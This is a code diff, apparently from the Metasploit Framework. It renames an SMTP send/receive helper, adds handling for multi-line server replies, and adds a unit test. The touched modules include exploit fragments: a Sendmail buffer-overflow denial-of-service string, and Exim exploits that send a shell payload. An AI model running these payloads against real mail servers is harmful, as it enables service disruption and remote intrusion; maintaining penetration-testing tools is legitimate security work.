diff --git a/lib/msf/core/exploit/remote/smtp_deliver.rb b/lib/msf/core/exploit/remote/smtp_deliver.rb index c0a136e3ee..d44609f8ce 100755 --- a/lib/msf/core/exploit/remote/smtp_deliver.rb +++ b/lib/msf/core/exploit/remote/smtp_deliver.rb @@ -80,7 +80,7 @@ module Exploit::Remote::SMTPDeliver if res =~ /STARTTLS/ print_status("Starting tls") - raw_send_recv("STARTTLS\r\n", nsock) + smtp_send_recv("STARTTLS\r\n", nsock) [:high, :medium, :default].each do |level| begin @@ -91,12 +91,12 @@ module Exploit::Remote::SMTPDeliver print_status 'Could not negotiate SSL, falling back to older ciphers' nsock.close nsock, res = connect_ehlo(global) - raw_send_recv("STARTTLS\r\n", nsock) + smtp_send_recv("STARTTLS\r\n", nsock) raise if level == :default end end - res = raw_send_recv("EHLO #{domain}\r\n", nsock) + res = smtp_send_recv("EHLO #{domain}\r\n", nsock) end unless datastore['PASSWORD'].empty? and datastore["USERNAME"].empty? @@ -106,7 +106,7 @@ module Exploit::Remote::SMTPDeliver # Have to double the username. SMTP auth is weird user = "#{datastore["USERNAME"]}\0" * 2 auth = Rex::Text.encode_base64("#{user}#{datastore["PASSWORD"]}") - res = raw_send_recv("AUTH PLAIN #{auth}\r\n", nsock) + res = smtp_send_recv("AUTH PLAIN #{auth}\r\n", nsock) unless res[0..2] == '235' print_error("Authentication failed, quitting") disconnect(nsock) @@ -119,9 +119,9 @@ module Exploit::Remote::SMTPDeliver if datastore["USERNAME"] and not datastore["USERNAME"].empty? user = Rex::Text.encode_base64("#{datastore["USERNAME"]}") auth = Rex::Text.encode_base64("#{datastore["PASSWORD"]}") - raw_send_recv("AUTH LOGIN\r\n",nsock) - raw_send_recv("#{user}\r\n",nsock) - res = raw_send_recv("#{auth}\r\n",nsock) + smtp_send_recv("AUTH LOGIN\r\n", nsock) + smtp_send_recv("#{user}\r\n", nsock) + res = smtp_send_recv("#{auth}\r\n", nsock) unless res[0..2] == '235' print_error("Authentication failed, quitting") disconnect(nsock) @@ -147,7 +147,7 @@ module Exploit::Remote::SMTPDeliver vprint_status("Connecting to SMTP server #{rhost}:#{rport}...") nsock = connect(global) - [nsock, raw_send_recv("EHLO #{domain}\r\n", nsock)] + [nsock, smtp_send_recv("EHLO #{domain}\r\n", nsock)] end def bad_address(address) @@ -181,10 +181,10 @@ module Exploit::Remote::SMTPDeliver nsock = connect_login(false) end - raw_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock) - res = raw_send_recv("RCPT TO: <#{mailto}>\r\n", nsock) + smtp_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock) + res = smtp_send_recv("RCPT TO: <#{mailto}>\r\n", nsock) if res && res[0..2] == '250' - resp = raw_send_recv("DATA\r\n", nsock) + resp = smtp_send_recv("DATA\r\n", nsock) # If the user supplied a Date field, use that, else use the current # DateTime in the proper RFC2822 format. @@ -211,7 +211,7 @@ module Exploit::Remote::SMTPDeliver full_msg << data # Escape leading dots in the mail messages so there are no false EOF full_msg.gsub!(/(?m)^\./, '..') - send_status = raw_send_recv("#{full_msg}\r\n.\r\n", nsock) + send_status = smtp_send_recv("#{full_msg}\r\n.\r\n", nsock) end else print_error "Server refused to send to <#{mailto}>" @@ -226,12 +226,14 @@ module Exploit::Remote::SMTPDeliver end def disconnect(nsock=self.sock) - raw_send_recv("QUIT\r\n", nsock) + smtp_send_recv("QUIT\r\n", nsock) super @connected = false end - def raw_send_recv(cmd, nsock=self.sock) + # Send and receive a single command using SMTP protocol + # allowing for response continuation + def smtp_send_recv(cmd, nsock=self.sock) return false if not nsock if cmd =~ /AUTH PLAIN/ # Don't print the user's plaintext password @@ -244,7 +246,11 @@ module Exploit::Remote::SMTPDeliver begin nsock.put(cmd) res = nsock.get_once - rescue + while !(res =~ /(^|\r\n)\d{3}( .*|)\r\n$/) && chunk = nsock.get_once + res += chunk + end + raise RuntimeError.new("SMTP response is incomplete or contains extra data") unless res =~ /(^|\r\n)\d{3}( .*|)\r\n$/ + rescue EOFError return nil end # Don't truncate the server output because it might be helpful for diff --git a/modules/auxiliary/dos/smtp/sendmail_prescan.rb b/modules/auxiliary/dos/smtp/sendmail_prescan.rb index fef094fe27..1496c2d575 100644 --- a/modules/auxiliary/dos/smtp/sendmail_prescan.rb +++ b/modules/auxiliary/dos/smtp/sendmail_prescan.rb @@ -38,10 +38,10 @@ class MetasploitModule < Msf::Auxiliary sploit = ("A" * 255 + ";") * 4 + "A" * 217 + ";" + "\x5c\xff" * 28 - raw_send_recv("EHLO X\r\n") - raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") + smtp_send_recv("EHLO X\r\n") + smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") print_status("Sending DoS packet.") - raw_send_recv("RCPT TO: #{sploit}\r\n") + smtp_send_recv("RCPT TO: #{sploit}\r\n") disconnect rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout diff --git a/modules/auxiliary/scanner/smtp/smtp_relay.rb b/modules/auxiliary/scanner/smtp/smtp_relay.rb index 287316508f..8db19c6fb5 100644 --- a/modules/auxiliary/scanner/smtp/smtp_relay.rb +++ b/modules/auxiliary/scanner/smtp/smtp_relay.rb @@ -82,19 +82,19 @@ class MetasploitModule < Msf::Auxiliary begin connect - res = raw_send_recv("EHLO X\r\n") + res = smtp_send_recv("EHLO X\r\n") vprint_status("#{res.inspect}") - res = raw_send_recv("#{mailfrom}\r\n") + res = smtp_send_recv("#{mailfrom}\r\n") vprint_status("#{res.inspect}") - res = raw_send_recv("#{mailto}\r\n") + res = smtp_send_recv("#{mailto}\r\n") vprint_status("#{res.inspect}") - res = raw_send_recv("DATA\r\n") + res = smtp_send_recv("DATA\r\n") vprint_status("#{res.inspect}") - res = raw_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n") + res = smtp_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n") vprint_status("#{res.inspect}") if res =~ /250/ diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb index caa972d00e..832904dd77 100644 --- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb +++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb @@ -149,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote end ehlo = datastore['EHLO'] - ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n") + ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n") ehlo_resp.each_line do |line| print_status("#{rhost}:#{rport} - EHLO: #{line.strip}") end @@ -165,7 +165,7 @@ class MetasploitModule < Msf::Exploit::Remote from << "@#{ehlo}" to = datastore['MAILTO'] - resp = raw_send_recv("MAIL FROM: #{from}\r\n") + resp = smtp_send_recv("MAIL FROM: #{from}\r\n") resp ||= 'no response' msg = "MAIL: #{resp.strip}" if not resp or resp[0,3] != '250' @@ -174,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - #{msg}") end - resp = raw_send_recv("RCPT TO: #{to}\r\n") + resp = smtp_send_recv("RCPT TO: #{to}\r\n") resp ||= 'no response' msg = "RCPT: #{resp.strip}" if not resp or resp[0,3] != '250' @@ -183,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - #{msg}") end - resp = raw_send_recv("DATA\r\n") + resp = smtp_send_recv("DATA\r\n") resp ||= 'no response' msg = "DATA: #{resp.strip}" if not resp or resp[0,3] != '354' @@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote message << "\r\n" message << ".\r\n" - resp = raw_send_recv(message) + resp = smtp_send_recv(message) msg = "DELIVER: #{resp.strip}" if not resp or resp[0,3] != '250' fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}") diff --git a/modules/exploits/unix/smtp/exim4_string_format.rb b/modules/exploits/unix/smtp/exim4_string_format.rb index 89081ecff9..8caf16f6c0 100644 --- a/modules/exploits/unix/smtp/exim4_string_format.rb +++ b/modules/exploits/unix/smtp/exim4_string_format.rb @@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable") end - ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n") + ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n") ehlo_resp.each_line do |line| print_status("EHLO: #{line.strip}") end @@ -145,7 +145,7 @@ class MetasploitModule < Msf::Exploit::Remote from = datastore['MAILFROM'] to = datastore['MAILTO'] - resp = raw_send_recv("MAIL FROM: #{from}\r\n") + resp = smtp_send_recv("MAIL FROM: #{from}\r\n") resp ||= 'no response' msg = "MAIL: #{resp.strip}" if not resp or resp[0,3] != '250' @@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status(msg) end - resp = raw_send_recv("RCPT TO: #{to}\r\n") + resp = smtp_send_recv("RCPT TO: #{to}\r\n") resp ||= 'no response' msg = "RCPT: #{resp.strip}" if not resp or resp[0,3] != '250' @@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status(msg) end - resp = raw_send_recv("DATA\r\n") + resp = smtp_send_recv("DATA\r\n") resp ||= 'no response' msg = "DATA: #{resp.strip}" if not resp or resp[0,3] != '354' @@ -251,21 +251,21 @@ class MetasploitModule < Msf::Exploit::Remote sock.put body print_status("Ending first message.") - buf = raw_send_recv("\r\n.\r\n") + buf = smtp_send_recv("\r\n.\r\n") # Should be: "552 Message size exceeds maximum permitted\r\n" print_status("Result: #{buf.inspect}") if buf second_result = "" print_status("Sending second message ...") - buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") + buf = smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") # Should be: "sh-x.x$ " !! if buf print_status("MAIL result: #{buf.inspect}") second_result << buf end - buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n") + buf = smtp_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n") # Should be: "sh: RCPT: command not found\n" if buf print_status("RCPT result: #{buf.inspect}") @@ -296,7 +296,7 @@ class MetasploitModule < Msf::Exploit::Remote if resp !~ /Summary of my perl/ print_status("Should have a shell now, sending payload...") - buf = raw_send_recv("\n" + payload.encoded + "\n\n") + buf = smtp_send_recv("\n" + payload.encoded + "\n\n") if buf if buf =~ /554 SMTP synchronization error/ print_error("This target may be patched: #{buf.strip}") diff --git a/spec/lib/msf/core/exploit/remote/smtp_delivery_spec.rb b/spec/lib/msf/core/exploit/remote/smtp_delivery_spec.rb new file mode 100644 index 0000000000..60f1b5166e --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/smtp_delivery_spec.rb @@ -0,0 +1,93 @@ +RSpec.describe Msf::Exploit::Remote::SMTPDeliver do + + context "#smtp_send_recv" do + subject(:instance) { + mod = Msf::Exploit::Remote.allocate + mod.extend described_class + mod + } + + + let (:socket) { + double(Rex::Socket::Tcp) + } + let (:cmd) { + "EHLO" + } + let(:ehlo_resp1) { + "250-ip-10-140-50-23.us-west-1.compute.internal\r\n250-XXXA\r250-PIPELINING\r\n250-AUTH CRAM-MD5 LOGIN PLAIN\r\n" + } + let(:ehlo_resp2) { + "250-SIZE 512000\r\n250-VRFY\r\n250-ETRN\r\n250-ENHANCEDSTATUSCODES\r\n250-8BITMIME\r\n250-XXXXXXXB\r\n250-XXXC\r\n" + } + let(:ehlo_resp3) { + "250 DSN" + } + let(:ehlo_resp4) { + "\r\n" + } + + before { + allow(instance).to receive(:vprint_status) + allow(socket).to receive(:put) + allow(socket).to receive(:get_once).and_return(ehlo_resp1, ehlo_resp2, ehlo_resp3, ehlo_resp4) + } + + it "should read the socket for continuation messages" do + response = instance.smtp_send_recv(cmd, socket) + expect(response).to end_with(ehlo_resp3 + ehlo_resp4) + end + + context "when a single response occurs" do + let(:ehlo_resp1) { + "250 DSN\r\n" + } + + before { + allow(socket).to receive(:get_once).and_return(ehlo_resp1) + } + + + it "passes" do + response = instance.smtp_send_recv(cmd, socket) + expect(response).to end_with(ehlo_resp1) + end + end + + context "when the server response is terse" do + let(:ehlo_resp3) { + "250" + } + + it "should support a final line with no space or extra data" do + response = instance.smtp_send_recv(cmd, socket) + expect(response).to end_with(ehlo_resp3 + ehlo_resp4) + end + end + + context "when incomplete response is received" do + # a nil from `get_once` simulates a Timeout expired + let(:ehlo_resp4){ + nil + } + + it "should raise error when the response is incomplete" do + expect {instance.smtp_send_recv(cmd, socket)}.to raise_error RuntimeError + end + end + + context "when excess data response is received" do + # a nil from `get_once` simulates a Timeout expired + let(:ehlo_resp3){ + "250 DSN\r\n253 additional unexpected data" + } + let(:ehlo_resp4){ + nil + } + + it "should raise error when the response is incomplete" do + expect {instance.smtp_send_recv(cmd, socket)}.to raise_error RuntimeError + end + end + end +end